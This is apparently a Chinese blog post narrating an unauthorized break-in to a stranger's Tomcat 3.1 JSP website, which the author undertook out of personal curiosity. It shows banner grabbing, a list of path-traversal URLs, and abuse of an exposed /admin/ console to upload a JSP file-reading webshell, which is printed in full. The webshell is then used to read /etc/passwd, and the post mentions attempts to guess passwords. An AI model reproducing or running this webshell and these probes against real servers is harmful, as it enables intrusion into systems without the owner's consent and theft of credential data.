很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服。网站是用jsp开发的,出于个人爱好,我决定测试一下其系统的安全性。 te.net www.target.com 8080
get /chinansl http/1.1
[enter]
[enter]
返回的结果如下: http/1.0 404 not found
date: sun, 08 jul 2001 07:49:13 gmt
servlet-engine: tomcat web server/3.1 (jsp 1.1; servlet 2.2; java 1.2.2; linux 2
.2.12 i386; java.vendor=blackdown java-linux team)
content-language: en
content-type: text/html
status: 404
〈h1〉error: 404〈/h1〉
〈h2〉location: /chinansl〈/h2〉file not found〈br〉/chinansl
获得了运行的webserver的名称“tomcat 3.1”。记得曾经发现过这个版本的漏洞,并且post到bugtrap上去过。
回忆一下,大概是通过“..”技术可以退出web目录,于是: http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.jsp (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/web-inf/ (不行)
看来安全状况似乎还不错,我们再来进行一下更深层的测试。tomcat 3.1自带了一个管理工具,可以查看web下的目录及文件,并且可以添加context。于是尝试: http://target:8080/admin/
管理员果然没有删除或禁止访问这个目录,从安全的角度说,这点应该算是一个比较重要的失误。
接着,点击“view all context”按钮,列出了web目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个jsp文件上传到对方的web目录里: 〈%@ page import="java.io.*" %〉
〈%
string file = request.getparameter("file");
string str = "";
fileinputstream fis = null;
datainputstream dis = null;
try{
fis = new fileinputstream(file);
dis = new datainputstream(fis);
while(true){
try{
str = dis.readline();
}catch(exception e){}
if(str == null)break;
out.print(str+"〈br〉");
}
}catch(ioexception e){}
%〉
然后执行: http://target:8080/upload/test.jsp?file=/etc/passwd
密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个shell,猜不出密码可以先把ie当作shell环境。
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器